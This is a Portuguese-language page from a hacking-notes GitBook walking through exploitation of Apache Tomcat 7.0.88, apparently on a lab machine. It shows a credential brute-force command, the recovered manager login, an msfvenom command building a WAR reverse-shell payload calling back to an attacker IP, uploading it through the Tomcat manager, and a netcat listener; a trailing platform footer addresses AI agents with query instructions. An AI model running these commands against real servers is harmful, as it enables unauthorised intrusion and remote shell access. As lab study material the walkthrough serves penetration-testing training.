> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Arquivo WAR do Tomcat

A porta 8080 hospeda **Apache Tomcat**. `whatweb` identifica a versão **7.0.88**, que é conhecida por ser vulnerável.

<div data-full-width="true"><figure><img src="/files/ea077aaf8a32adc45ee19f9975ec3a3610b4a1a7" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/90ed1476fe19d609304105ac135f6edb468e48fe" alt=""><figcaption></figcaption></figure>

### Vazamento de informações

**Login do painel de administrador**

<figure><img src="/files/84c2b6c0129ea5824fa71dba389bd286545454ba" alt=""><figcaption></figcaption></figure>

Tente acessar `/manager/html` com credenciais padrão, como `admin:admin`, mas falha.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**Ataque de força bruta de credenciais**

Use a lista SecLists `tomcat-betterdefaultpasslist.txt` para realizar força bruta nas credenciais:

Use um script em Python para automatizar esta tarefa:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** As credenciais válidas são:/ `tomcat:s3cret`

<figure><img src="/files/93b856c3b168744babf21f785dc35a9516672d9a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1fa038517c7d18cbda08dca3eca88974523b8a34" alt=""><figcaption></figcaption></figure>

### Vulnerabilidade no Tomcat:

**1. Geração do arquivo WAR:**/ Use `msfvenom` para criar um arquivo WAR contendo uma shell reversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/658665ead421c424ad2ca579d6712d368a6f7e96" alt=""><figcaption></figcaption></figure>

**2. Implantação por meio do Tomcat Manager:**/ Faça o upload do arquivo WAR por meio de `/manager/html`.

<figure><img src="/files/df3e87540238bde1f5698931dd0ec1e70646209f" alt="" width="563"><figcaption></figcaption></figure>

**3. Listener da shell reversa:**/ Configure um listener para capturar a conexão reversa:

```bash
rlwrap nc -nlvp 443
```

Acionar o arquivo implantado (`/reverse`) fornece uma shell interativa no alvo.

<figure><img src="/files/77db77a32418ebdfdcc87c6092e01eb4bb8aca7d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
